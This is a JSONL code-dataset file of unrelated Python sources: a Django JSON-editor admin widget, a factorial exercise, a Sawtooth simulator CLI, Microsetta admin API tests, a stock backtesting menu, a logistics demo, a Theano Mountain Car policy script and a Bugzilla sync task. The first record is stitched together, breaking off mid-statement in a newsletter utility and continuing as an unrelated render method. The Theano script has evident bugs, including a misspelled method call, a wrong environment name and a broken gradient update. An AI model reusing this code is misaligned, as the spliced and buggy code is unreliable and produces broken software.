+{"seq_id":"590048935","text":"\"\"\"Utils for newsletter\"\"\"\nimport urllib2\n\nfrom BeautifulSoup import BeautifulSoup, Tag\nfrom django.core.urlresolvers import reverse\n\nfrom emencia.django.newsletter.models import Link\n\ndef get_webpage_content(url):\n \"\"\"Return the content of the website\n located in the body markup\"\"\"\n request = urllib2.Request(url)\n page = urllib2.urlopen(request)\n soup = BeautifulSoup(page.read())\n return unicode(soup)\n\ndef body_insertion(content, insertion, end=False):\n \"\"\"Insert an HTML content into the body HTML node\"\"\"\n if not content.strip().startswith('','')\n # value = '{\"logo\": \"https://s3-us-west-2.amazonaws.com/images.happyreturns.com/outerknown/outerknown-logo.png\", \"favicon\": \"https://s3-us-west-2.amazonaws.com/images.happyreturns.com/outerknown/outerknown-favicon.png\", \"primary_color\": \"#333333\", \"background_img\": \"https://s3-us-west-2.amazonaws.com/images.happyreturns.com/outerknown/outerknown-background-desktop.png\", \"item_list_message\": \"For international orders or to request an exception, please email customer care at customercare@outerknown.com or chat us.\", \"primary_dark_color\": \"#222222\", \"order_number_message\": \"Please enter the Order ID found in your email or your packing slip (first 5 numbers)\", \"background_img_mobile\": \"https://s3-us-west-2.amazonaws.com/images.happyreturns.com/outerknown/outerknown-background-mobile.png\"}'\n # Maybe remove javascript section from the value dict here\n # Nope - don't want to hard code delete or it will be removed from the db`\n # if value and \"javascript\" in value:\n # del value[\"javascript\"]\n\n if callable(self._schema):\n schema = self._schema(self)\n else:\n schema = self._schema\n\n print(\"[ GIT ] django-admin-json-editor/ admin.py - render() - 1\" )\n schema['title'] = ' '\n schema['options'] = {'collapsed': int(self._collapsed)}\n\n print(\"[ GIT ] django-admin-json-editor/ admin.py - render() - 2\" )\n editor_options = {\n 'theme': 'bootstrap3',\n 'iconlib': 'fontawesome4',\n 'schema': schema,\n }\n editor_options.update(self._editor_options)\n\n print(\"[ GIT ] django-admin-json-editor/ admin.py - render() - 3\" )\n edit = json.dumps(editor_options)\n print(\"Edit\")\n print(edit)\n # editor_options is the theme, iconlib, schema, options\n\n print(\"[ GIT ] django-admin-json-editor/ admin.py - render() - 4\" )\n context = {\n 'name': name,\n 'data': value,\n 'sceditor': int(self._sceditor),\n 'editor_options': json.dumps(editor_options),\n }\n print(\"[ GIT ] django-admin-json-editor/ admin.py - render() - 5\" )\n return mark_safe(render_to_string(self.template_name, context))\n\n @property\n def media(self):\n css = {\n 'all': [\n 'django_admin_json_editor/bootstrap/css/bootstrap.min.css',\n 'django_admin_json_editor/fontawesome/css/font-awesome.min.css',\n 'django_admin_json_editor/style.css',\n ]\n }\n js = [\n 'django_admin_json_editor/jquery/jquery.min.js',\n 'django_admin_json_editor/bootstrap/js/bootstrap.min.js',\n 'django_admin_json_editor/jsoneditor/jsoneditor.min.js',\n ]\n if self._sceditor:\n css['all'].append('django_admin_json_editor/sceditor/themes/default.min.css')\n js.append('django_admin_json_editor/sceditor/jquery.sceditor.bbcode.min.js')\n return forms.Media(css=css, js=js)\n","sub_path":"django_admin_json_editor/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"399274040","text":"# https://practice.geeksforgeeks.org/problems/factorial/0\n\n# Input:\n# 2\n# 1\n# 4\n\n# Output:\n# 1\n# 24\n\n#code\n\ndef fac(n):\n if(n==0):\n return 1\n else:\n return n*fac(n-1)\n\n\ncases = int(input())\nfor i in range(cases):\n n = int(input())\n print(fac(n))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Mathematical/Factorial.py","file_name":"Factorial.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"364986080","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\nclass GameStats():\r\n '''Отслеживание статистики для игры'''\r\n def __init__ (self, ai_settings):\r\n '''Инициализирует статистику'''\r\n self.ai_settings = ai_settings\r\n self.reset_stats()\r\n #Игра запускается в неактивном состоянии\r\n self.game_active = False\r\n #Рекорд не должен сбрасываться.\r\n high_score = 0\r\n with open('high_score.txt', 'r') as saved_high_score:\r\n for line in saved_high_score:\r\n high_score = int(line)\r\n self.high_score = high_score\r\n\r\n def reset_stats (self):\r\n '''Инициализирует статистику, изменяющуюся в ходе игры'''\r\n self.ships_left = self.ai_settings.ship_limit\r\n self.score = 0 #Счет игры.\r\n self.level = 1","sub_path":"alien_invasion/game_stats.py","file_name":"game_stats.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"460997609","text":"# Copyright 2016 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ------------------------------------------------------------------------------\n\nimport os\nimport sys\nimport argparse\nimport logging\nimport traceback\n\nfrom colorlog import ColoredFormatter\n\nfrom sawtooth.simulator import SawtoothWorkloadSimulator\n\n\ndef create_console_handler(verbose_level):\n logger = logging.StreamHandler()\n formatter = ColoredFormatter(\n \"%(log_color)s[%(asctime)s %(levelname)-8s%(module)s]%(reset)s \"\n \"%(white)s%(message)s\",\n datefmt=\"%H:%M:%S\",\n reset=True,\n log_colors={\n 'DEBUG': 'cyan',\n 'INFO': 'green',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red',\n })\n\n logger.setFormatter(formatter)\n\n if verbose_level == 0:\n logger.setLevel(logging.WARN)\n elif verbose_level == 1:\n logger.setLevel(logging.INFO)\n else:\n logger.setLevel(logging.DEBUG)\n\n return logger\n\n\ndef setup_loggers(verbose_level):\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(create_console_handler(verbose_level))\n\n\ndef parse_args(args):\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--url',\n metavar=\"\",\n help='Base validator URL (default: %(default)s)',\n default=\"http://127.0.0.1:8800\")\n parser.add_argument('--workload',\n help='Transaction workload (default: %(default)s)',\n default='sawtooth_xo.xo_workload.XoWorkload')\n parser.add_argument('--rate',\n help='Transaction rate in transactions per minute '\n '(default: %(default)s transactions/minute)',\n type=int,\n default=12)\n parser.add_argument('--discover',\n help='How often, in minutes, to refresh validators '\n 'list (default: every %(default)s minute(s))',\n type=int,\n default=15)\n parser.add_argument('-v', '--verbose',\n action='count',\n help='enable more verbose output')\n\n opts = parser.parse_args(args)\n\n if opts.rate <= 0:\n parser.error(\"Transaction rate must be greater than zero\")\n if opts.discover <= 0:\n parser.error(\"Validator discovery period must be greater than 0\")\n\n return opts\n\n\ndef main(name=os.path.basename(sys.argv[0]), args=sys.argv[1:]):\n\n opts = parse_args(args)\n\n level = 0 if opts.verbose is None else opts.verbose\n setup_loggers(verbose_level=level)\n\n simulator = SawtoothWorkloadSimulator(opts)\n\n # pylint: disable=bare-except\n try:\n simulator.run()\n except KeyboardInterrupt:\n pass\n except SystemExit as e:\n raise e\n except:\n traceback.print_exc(file=sys.stderr)\n sys.exit(1)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"sawtooth/simulator_cli.py","file_name":"simulator_cli.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"84798447","text":"import pytest\nfrom unittest import TestCase\nimport json\nimport microsetta_private_api.server\nfrom microsetta_private_api.model.account import Account, Address\nfrom microsetta_private_api.repo.transaction import Transaction\nfrom microsetta_private_api.repo.account_repo import AccountRepo\nfrom microsetta_private_api.repo.admin_repo import AdminRepo\nfrom microsetta_private_api.api.tests.test_api import client, MOCK_HEADERS, \\\n ACCT_ID_1, ACCT_MOCK_ISS, ACCT_MOCK_SUB, \\\n extract_last_id_from_location_header # noqa \"client\" IS used, by name\n\nDUMMY_PROJ_NAME = \"test project\"\n\n\ndef delete_test_scan(new_scan_id):\n if new_scan_id is not None:\n with Transaction() as t:\n with t.cursor() as cur:\n cur.execute(\"DELETE FROM barcode_scans \"\n \"WHERE \"\n \"barcode_scan_id = %s\",\n (new_scan_id,))\n t.commit()\n\n\ndef teardown_test_data():\n with Transaction() as t:\n acct_repo = AccountRepo(t)\n admin_repo = AdminRepo(t)\n acct_repo.delete_account(ACCT_ID_1)\n admin_repo.delete_project_by_name(DUMMY_PROJ_NAME)\n t.commit()\n\n\ndef setup_test_data():\n teardown_test_data()\n\n with Transaction() as t:\n acct_repo = AccountRepo(t)\n\n acc = Account(ACCT_ID_1,\n \"bar@baz.com\",\n \"admin\",\n ACCT_MOCK_ISS,\n ACCT_MOCK_SUB,\n \"Dan\",\n \"H\",\n Address(\n \"456 Dan Lane\",\n \"Danville\",\n \"CA\",\n 12345,\n \"US\"\n ),\n \"fakekit\")\n acct_repo.create_account(acc)\n t.commit()\n\n\n@pytest.mark.usefixtures(\"client\")\nclass AdminApiTests(TestCase):\n TEST_BARCODE = '000000001'\n\n def setUp(self):\n app = microsetta_private_api.server.build_app()\n self.client = app.app.test_client()\n self.client.__enter__()\n setup_test_data()\n\n def tearDown(self):\n self.client.__exit__(None, None, None)\n teardown_test_data()\n\n def _test_project_create_success(self, project_info):\n input_json = json.dumps(project_info)\n\n # execute project post (create)\n response = self.client.post(\n \"/api/admin/create/project\",\n content_type='application/json',\n data=input_json,\n headers=MOCK_HEADERS\n )\n\n # check for successful create response code\n self.assertEqual(201, response.status_code)\n\n def test_project_create_success_unbanked_no_date(self):\n \"\"\"Successfully create a new, unbanked project, do not pass date\"\"\"\n\n # create post input json without a date field\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": False\n }\n self._test_project_create_success(project_info)\n\n def test_project_create_success_banked_no_date(self):\n \"\"\"Successfully create a new banked project with no plating date\"\"\"\n\n # create post input json without a date field\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": True\n }\n self._test_project_create_success(project_info)\n\n def test_project_create_success_banked_blank_date(self):\n \"\"\"Successfully create a new project banked till an unspecified date\"\"\"\n\n # create post input json with a blank date field\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": True,\n \"plating_start_date\": None\n }\n self._test_project_create_success(project_info)\n\n def test_project_create_success_banked_real_date(self):\n \"\"\"Successfully create a new project banked till a specific date\"\"\"\n\n # create post input json\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": True,\n \"plating_start_date\": \"2020-07-31\"\n }\n self._test_project_create_success(project_info)\n\n def test_project_create_success_not_banked_blank_date(self):\n \"\"\"Successfully create a new unbanked project with a blank date\"\"\"\n\n # create post input json with a blank date field\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": False,\n \"plating_start_date\": None\n }\n self._test_project_create_success(project_info)\n\n def test_project_create_fail_not_banked_with_date(self):\n \"\"\"Disallow creating a new unbanked project with a plating date\"\"\"\n\n # create post input json\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": False,\n \"plating_start_date\": \"2020-07-31\"\n }\n input_json = json.dumps(project_info)\n\n # execute project post (create)\n response = self.client.post(\n \"/api/admin/create/project\",\n content_type='application/json',\n data=input_json,\n headers=MOCK_HEADERS\n )\n\n # check response code\n self.assertEqual(422, response.status_code)\n\n def test_project_create_fail_banked_nonsense_date(self):\n \"\"\"Disallow creating a new banked project with a nonsense date\"\"\"\n\n # create post input json with a nonsense date field\n project_info = {\n \"project_name\": DUMMY_PROJ_NAME,\n \"is_microsetta\": False,\n \"bank_samples\": True,\n \"plating_start_date\": \"red\"\n }\n input_json = json.dumps(project_info)\n\n # execute project post (create)\n response = self.client.post(\n \"/api/admin/create/project\",\n content_type='application/json',\n data=input_json,\n headers=MOCK_HEADERS\n )\n\n self.assertEqual(400, response.status_code)\n\n def test_scan_barcode_success(self):\n \"\"\"Store info on new scan for valid barcode\"\"\"\n\n new_scan_id = None\n try:\n # create post input json with a nonsense date field\n scan_info = {\n \"sample_barcode\": self.TEST_BARCODE,\n \"sample_status\": \"sample-is-valid\",\n \"technician_notes\": \"\"\n }\n input_json = json.dumps(scan_info)\n\n # execute project post (create)\n response = self.client.post(\n \"/api/admin/scan/{0}\".format(self.TEST_BARCODE),\n content_type='application/json',\n data=input_json,\n headers=MOCK_HEADERS\n )\n\n # check for successful create response code\n self.assertEqual(201, response.status_code)\n\n returned_barcode = extract_last_id_from_location_header(response)\n self.assertEqual(self.TEST_BARCODE, returned_barcode)\n\n response_obj = json.loads(response.data)\n new_scan_id = response_obj['scan_id']\n finally:\n delete_test_scan(new_scan_id)\n\n def test_scan_barcode_fail_invalid_status(self):\n \"\"\"Refuse to store scan info with invalid sample_status\"\"\"\n\n new_scan_id = None\n try:\n # create post input json with a nonsense date field\n scan_info = {\n \"sample_barcode\": self.TEST_BARCODE,\n \"sample_status\": \"happy\",\n \"technician_notes\": \"\"\n }\n input_json = json.dumps(scan_info)\n\n # execute project post (create)\n response = self.client.post(\n \"/api/admin/scan/{0}\".format(self.TEST_BARCODE),\n content_type='application/json',\n data=input_json,\n headers=MOCK_HEADERS\n )\n\n # check for successful create response code\n self.assertEqual(400, response.status_code)\n finally:\n delete_test_scan(new_scan_id)\n","sub_path":"microsetta_private_api/admin/tests/test_admin_api.py","file_name":"test_admin_api.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"432653175","text":"\"\"\"Backtesting Controller Module\"\"\"\n__docformat__ = \"numpy\"\n\nimport argparse\nfrom typing import List, Union\nfrom datetime import datetime\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom prompt_toolkit.completion import NestedCompleter\nfrom gamestonk_terminal import feature_flags as gtff\nfrom gamestonk_terminal.helper_funcs import get_flair\nfrom gamestonk_terminal.menu import session\n\n# This code below aims to fix an issue with the fnn module, used by bt module\n# which forces matplotlib backend to be 'agg' which doesn't allow to plot\n# Save current matplotlib backend\ndefault_backend = mpl.get_backend()\n# pylint: disable=wrong-import-position\nfrom gamestonk_terminal.backtesting import bt_view # noqa: E402\n\n# Restore backend matplotlib used\nmpl.use(default_backend)\n\n\nclass BacktestingController:\n \"\"\"Backtesting Class\"\"\"\n\n CHOICES = [\"help\", \"q\", \"quit\", \"ema\", \"ema_cross\", \"rsi\"]\n\n def __init__(\n self,\n ticker: str,\n start: Union[datetime, str],\n ):\n self.ticker = ticker\n self.start = start\n self.bt_parser = argparse.ArgumentParser(add_help=False, prog=\"bt\")\n self.bt_parser.add_argument(\n \"cmd\",\n choices=self.CHOICES,\n )\n\n def print_help(self):\n \"\"\"Print help\"\"\"\n\n print(\"\\nBacktesting:\")\n print(\" help show this backtesting menu again\")\n print(\" q quit this menu, and shows back to main menu\")\n print(\" quit quit to abandon program\")\n print(\"\")\n print(\" ema buy when price exceeds EMA(l)\")\n print(\" ema_cross buy when EMA(short) > EMA(long) \")\n print(\" rsi buy when RSI < low and sell when RSI > high\")\n print(\"\")\n\n def switch(self, an_input: str):\n \"\"\"Process and dispatch input\n\n Returns\n -------\n True, False or None\n False - quit the menu\n True - quit the program\n None - continue in the menu\n \"\"\"\n\n (known_args, other_args) = self.bt_parser.parse_known_args(an_input.split())\n\n return getattr(\n self, \"call_\" + known_args.cmd, lambda: \"Command not recognized!\"\n )(other_args)\n\n def call_help(self, _):\n \"\"\"Process Help command\"\"\"\n self.print_help()\n\n def call_q(self, _):\n \"\"\"Process Q command - quit the menu\"\"\"\n return False\n\n def call_quit(self, _):\n \"\"\"Process Quit command - quit the program\"\"\"\n return True\n\n def call_ema(self, other_args: List[str]):\n \"\"\"Call EMA strategy\"\"\"\n bt_view.simple_ema(self.ticker, self.start, other_args)\n\n def call_ema_cross(self, other_args: List[str]):\n \"\"\"Call EMA Cross strategy\"\"\"\n bt_view.ema_cross(self.ticker, self.start, other_args)\n\n def call_rsi(self, other_args: List[str]):\n \"\"\"Call RSI Strategy\"\"\"\n bt_view.rsi_strat(self.ticker, self.start, other_args)\n\n\ndef menu(ticker: str, start: Union[str, datetime]):\n \"\"\"Backtesting Menu\"\"\"\n plt.close(\"all\")\n bt_controller = BacktestingController(ticker, start)\n bt_controller.call_help(None)\n\n while True:\n # Get input command from user\n if session and gtff.USE_PROMPT_TOOLKIT:\n completer = NestedCompleter.from_nested_dict(\n {c: None for c in bt_controller.CHOICES}\n )\n an_input = session.prompt(\n f\"{get_flair()} (bt)> \",\n completer=completer,\n )\n else:\n an_input = input(f\"{get_flair()} (bt)> \")\n\n try:\n plt.close(\"all\")\n process_input = bt_controller.switch(an_input)\n if process_input is not None:\n return process_input\n\n except SystemExit:\n print(\"The command selected doesn't exist\\n\")\n continue\n","sub_path":"gamestonk_terminal/backtesting/bt_controller.py","file_name":"bt_controller.py","file_ext":"py","file_size_in_byte":3874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"71916150","text":"from deep_logistics import DeepLogistics\nfrom deep_logistics import SpawnStrategies\nfrom deep_logistics.agent import Agent, ManhattanAgent\nif __name__ == \"__main__\":\n\n env = DeepLogistics(width=30,\n height=30,\n depth=3,\n taxi_n=0,\n ups=5000,\n graphics_render=True,\n delivery_locations=[\n (5, 5),\n (15, 15),\n (20, 20),\n (10, 10),\n (5, 10)\n ],\n spawn_strategy=SpawnStrategies.RandomSpawnStrategy\n )\n\n \"\"\"Parameters\"\"\"\n EPISODES = 1000\n EPISODE_MAX_STEPS = 100\n\n \"\"\"Add agents\"\"\"\n env.agents.add_agent(ManhattanAgent, n=20)\n\n for episode in range(EPISODES):\n env.reset()\n\n terminal = False\n steps = 0\n\n while terminal is False:\n env.update()\n env.render()\n\n terminal = env.is_terminal()\n steps += 1\n\n if terminal:\n print(\"Episode %s, Steps: %s\" % (episode, steps))\n break\n\n \"\"\"Add a new agent. (Harder) \"\"\"\n #env.agents.add_agent(ManhattanAgent)\n\n\n\n\n\n\n","sub_path":"experiments/experiment_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"588237073","text":"import gym\nimport numpy as np\nimport theano\nimport theano.tensor as T\nimport matplotlib.pyplot as plt\nfrom gym import wrappers\nfrom mountain_car_q_learning import plot_running_avg, StateTransformer\n\n# continious action space is unusual because we have to replace actions with its distribution\n## We implement hidden layers themselfs! Yeeee!\n\nclass HiddenLayer:\n # bias is required only for hidden layers, not for an output layer that is usually softmax\n def __init__(self, input_n, output_n, activation=T.nnet.relu, use_bias=True, zeros=False):\n # we could not identify input matrix X size [None, input]\n # weights - create and randomize\n if zeros:\n Weights = np.zeros((input_n, output_n))\n else:\n Weights = np.random.randn(input_n, output_n)\n self.Weights = theano.shared(Weights)\n self.params = [self.Weights]\n self.use_bias = use_bias\n if use_bias:\n self.bias = theano.shared(np.zeros(output_n))\n self.params += [self.bias]\n self.activation = activation\n\n def forward(self, X):\n if self.use_bias:\n s = X.dot(self.Weights) + self.bias\n else:\n s = X.dot(self.Weights)\n return self.activation(s)\n\n# action space is continious\nclass PolicyModel:\n # we talk about dimensions for state\n def __init__(self, state_transformer, dimensions, hidden_layer_sizes_mean=[], hidden_layer_sizes_variance=[]):\n # we have to save all params to recreate/copy Policy model later\n self.state_transformer = state_transformer\n self.dimensions = dimensions\n self.hidden_layer_sizes_mean = hidden_layer_sizes_mean\n self.hidden_layer_sizes_variance = hidden_layer_sizes_variance\n\n\n # our model should predict aka parametrise normal Gaussian distribution\n ### model the mean\n self.mean_layers = []\n input_n = dimensions\n\n for output_n in hidden_layer_sizes_mean:\n layer = HiddenLayer(input_n, output_n)\n self.mean_layers.append(layer)\n input_n = output_n\n\n # mean is ounbounded, so activation function is identity\n layer = HiddenLayer(input_n, 1, activation= lambda x: x, use_bias=False, zeros=True)\n self.mean_layers.append(layer)\n\n ### model the variance\n self.variance_layers = []\n input_n = dimensions\n\n for output_n in hidden_layer_sizes_variance:\n layer = HiddenLayer(input_n, output_n)\n self.variance_layers.append(layer)\n input_n = output_n\n\n # we use softplus because values acre more than 0\n layer = HiddenLayer(input_n, 1, T.nnet.softplus, use_bias=False, zeros=False)\n self.variance_layers.append(layer)\n\n # TODO we have to colect the params. Why? 1:30\n params = []\n for layer in (self.mean_layers + self.variance_layers):\n params += layer.params\n caches = [theano.shared(np.ones_like(p.get_value())*0.1) for p in params]\n velocities = [theano.shared(p.get_value()*0) for p in params]\n self.params = params\n\n X = T.matrix('X')\n actions = T.vector('actions')\n advantages = T.vector('advantages')\n\n # lets crete a function to not repeat the same things for mean and variance\n def get_output(layers, X):\n out = X\n for layer in layers:\n out = layer.forward(out)\n return out.flatten()\n\n mean = get_output(self.mean_layers, X)\n # TODO? we need smoothing because it helps an exploration\n variance = get_output(self.variance_layers, X) + 0.00001 # smothing\n\n # pdf - probability density function\n # we have to find a log, not a pre pdf, because it is part of\n # the policy formula\n def log_pdf(points, mean, variance):\n # normal pdf is exp(-(points - mean) ** 2/ 2*variance) / sqrt(2 * pi * variance\n k1 = T.log(2 * np.pi * variance)\n k2 = (points - mean) ** 2 / variance\n return -0.5 * (k1 + k2)\n\n # because we have infinite amount of actions, we have to select\n # the most probable one\n Y = log_pdf(actions, mean, variance)\n # TODO: Why this formula?\n cost = - T.sum(advantages * Y + 0.1 * T.log(2 * np.pi*variance)) + 1.0 * mean.dot(Y)\n\n mu = 0.\n decay = 0.999\n learning_rate = 0.001\n\n grads = T.grad(cost, params)\n grads_update = [(p, p + v) for p, v, g in zip(params, velocities, grads)]\n cache_update = [(c, decay*c + (1 - decay)*g*g) for c, g in zip(caches, grads)]\n velocity_update = [(v, mu*v - learning_rate*g / T.sqrt(c)) for v, c, g in zip(velocities, caches, grads)]\n updates = cache_update + grads_update + velocity_update\n\n self.train_op = theano.function(\n inputs=[X, actions, advantages],\n updates=updates,\n allow_input_downcast=True\n )\n\n self.predict_op = theano.function(\n inputs=[X],\n outputs=[mean, variance],\n allow_input_downcast=True\n )\n\n def predict(self, X):\n X = np.atleast_2d(X)\n return self.predict_op(self.state_transformer.trarnsform(X))\n\n # next action is the random action but that uses a current distribution\n def next_action(self, X):\n p = self.predict(X)\n # we only have one X, so we are interested in only first output\n mean = p[0][0]\n variance = p[1][0]\n action = np.random.randn()*np.sqrt(variance) + mean\n # our value should be in range [-1; 1]\n return min(max(action, -1), 1)\n\n def copy(self):\n self_copy = PolicyModel(self.state_transformer,\n self.dimensions,\n self.hidden_layer_sizes_mean,\n self.hidden_layer_sizes_variance)\n self_copy.copy_state_from(self_copy)\n return self_copy\n\n def copy_state_from(self, other):\n for this_param, other_param in zip(self.params, other.params):\n this_param.set_value(other_param.get_value())\n\n # add some random noise to the parameters to start exploration\n def randomise_params(self):\n for p in self.params:\n value = p.get_value()\n noise = np.random.randn(*value.shape) / np.sqrt(value.shape[0]) * 5.0\n if np.random.random() < 0.1:\n p.set_value(noise)\n else:\n p.set_value(value + noise)\n\ndef play_one(env, policy_model, gamma):\n state = env.reset()\n done = False\n total_reward = 0\n\n while not done:\n action = policy_model.next_action()\n state, reward, done, info = env.step(action)\n\n total_reward += reward\n return total_reward\n\n\ndef play_multiple_episodes(N_episodes, env, policy_model, gamma):\n total_rewards = np.empty(N_episodes)\n\n for i in range(N_episodes):\n total_rewards[i] = play_one(env, policy_model, gamma)\n\n avg_total = total_rewards.mean()\n return avg_total\n\ndef random_search(env, policy_model, gamma):\n total_rewards = []\n best_avg_total_reward = float('-inf')\n best_model = policy_model\n n_episodes_per_test = 3\n for t in range(100):\n temp_model = best_model.copy()\n temp_model.randomise_params()\n\n avg_result = play_multiple_episodes(n_episodes_per_test, env, temp_model, gamma)\n if avg_result > best_avg_total_reward:\n best_avg_total_reward = avg_result\n best_model = temp_model\n total_rewards.append(avg_result)\n\n return total_rewards, best_model\n\ndef main():\n env = gym.make('MountainCarContinious-v0')\n state_transformer = StateTransformer(env)\n dimensions = env.observation_space.shape[0]\n policy_model = PolicyModel(state_transformer, dimensions)\n gamma = 0.99\n\n total_rewards, best_policy_model = random_search(env, policy_model, gamma)\n\n best_avg_reward = play_multiple_episodes(100, env, best_policy_model, gamma)\n print(\"avg reward for BEST model: \", best_avg_reward)\n\n plt.plot(total_rewards)\n plt.title(\"Rewards\")\n plt.show()\n\nif __name__ == '__main__':\n main()\n","sub_path":"olena_reinforsment_learning/mountain_car_continious_theano.py","file_name":"mountain_car_continious_theano.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"372966535","text":"from __future__ import unicode_literals\n\nfrom datetime import datetime, timedelta\nfrom urllib import quote\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.db import transaction\nfrom django.utils import timezone\n\nimport requests\nimport waffle\n\nfrom remo.base.templatetags.helpers import urlparams\nfrom remo.base.utils import get_object_or_none\nfrom remo.celery import app\nfrom remo.remozilla.models import Bug\nfrom remo.remozilla.utils import get_last_updated_date, set_last_updated_date\n\nCOMPONENTS = ['Budget Requests', 'Mentorship', 'Swag Requests', 'Planning']\n\nBUGZILLA_FIELDS = ['is_confirmed', 'summary', 'creator', 'creation_time',\n 'component', 'whiteboard', 'op_sys', 'cc', 'id',\n 'status', 'assigned_to', 'resolution',\n 'last_change_time', 'flags']\n\nURL = ('https://bugzilla.mozilla.org/rest/bug?api_key={api_key}'\n '&product=Mozilla%20Reps&component={component}&'\n 'include_fields={fields}&last_change_time={timestamp}&'\n 'offset={offset}&limit={limit}')\nCOMMENT_URL = 'https://bugzilla.mozilla.org/rest/bug/{id}/comment?api_key={api_key}'\nLIMIT = 100\nBUG_WHITEBOARD = 'Review Team approval needed'\nBUG_REVIEW = 'remo-review'\nBUG_APPROVAL = 'remo-approval'\n\n\ndef parse_bugzilla_time(time):\n if not time:\n return None\n datetimeobj = datetime.strptime(time, '%Y-%m-%dT%H:%M:%SZ')\n datetimeobj = timezone.make_aware(datetimeobj, timezone.utc)\n return datetimeobj\n\n\n@app.task\n@transaction.atomic\ndef fetch_bugs(components=COMPONENTS, days=None):\n \"\"\"Fetch all bugs from Bugzilla.\n\n Loop over components and fetch bugs updated the last days. Link\n Bugzilla users with users on this website, when possible.\n\n # TODO: This can trigger a does not exist error because the task was picked\n # by the worker before the transaction was complete. Needs fixing after the\n # upgrade to a Django version > 1.8\n \"\"\"\n now = timezone.now()\n if not days:\n changed_date = get_last_updated_date()\n else:\n changed_date = now - timedelta(int(days))\n\n for component in components:\n offset = 0\n url = URL.format(api_key=settings.REMOZILLA_API_KEY, component=quote(component),\n fields=','.join(BUGZILLA_FIELDS),\n timestamp=changed_date, offset=offset, limit=LIMIT)\n\n while True:\n bugs = requests.get(url).json()\n error = bugs.get('error')\n\n # Check the server response for errors\n if error:\n raise ValueError('Invalid response from server, {0}.'.format(bugs['message']))\n\n remo_bugs = bugs.get('bugs', [])\n if not remo_bugs:\n break\n\n for bdata in remo_bugs:\n # Get comments for current bug\n comment_url = COMMENT_URL.format(id=bdata['id'],\n api_key=settings.REMOZILLA_API_KEY)\n comments = requests.get(comment_url).json()\n error = comments.get('error')\n\n if error:\n raise ValueError('Invalid response from server, {0}.'\n .format(comments['message']))\n\n bug, created = Bug.objects.get_or_create(bug_id=bdata['id'])\n\n bug.summary = bdata.get('summary', '')\n creator_email = bdata['creator']\n bug.creator = get_object_or_none(User, email=creator_email)\n bug.bug_creation_time = parse_bugzilla_time(bdata['creation_time'])\n bug.component = bdata['component']\n bug.whiteboard = bdata.get('whiteboard', '')\n\n bug.cc.clear()\n for email in bdata.get('cc', []):\n cc_user = get_object_or_none(User, email=email)\n if cc_user:\n bug.cc.add(cc_user)\n\n bug.assigned_to = get_object_or_none(\n User, email=bdata['assigned_to'])\n bug.status = bdata['status']\n bug.resolution = bdata.get('resolution', '')\n bug.bug_last_change_time = parse_bugzilla_time(bdata.get('last_change_time'))\n\n automated_voting_trigger = 0\n bug.budget_needinfo.clear()\n bug.council_member_assigned = False\n bug.pending_mentor_validation = False\n for flag in bdata.get('flags', []):\n if flag['status'] == '?' and flag['name'] == BUG_APPROVAL:\n automated_voting_trigger += 1\n if BUG_WHITEBOARD in bug.whiteboard:\n bug.council_member_assigned = True\n if ((flag['status'] == '?' and\n flag['name'] == 'needinfo' and 'requestee' in flag and\n flag['requestee'] == (settings.REPS_REVIEW_ALIAS))):\n automated_voting_trigger += 1\n if flag['status'] == '?' and flag['name'] == BUG_REVIEW:\n bug.pending_mentor_validation = True\n if (flag['status'] == '?' and flag['name'] == 'needinfo' and\n 'requestee' in flag):\n email = flag['requestee']\n user = get_object_or_none(User, email=email)\n if user:\n bug.budget_needinfo.add(user)\n\n if automated_voting_trigger == 2 and waffle.switch_is_active('automated_polls'):\n bug.council_vote_requested = True\n\n unicode_id = str(bdata['id'])\n bug_comments = comments['bugs'][unicode_id]['comments']\n if bug_comments and bug_comments[0].get('text', ''):\n # Enforce unicode encoding.\n bug.first_comment = bug_comments[0]['text']\n\n bug.save()\n\n offset += LIMIT\n url = urlparams(url, offset=offset)\n\n 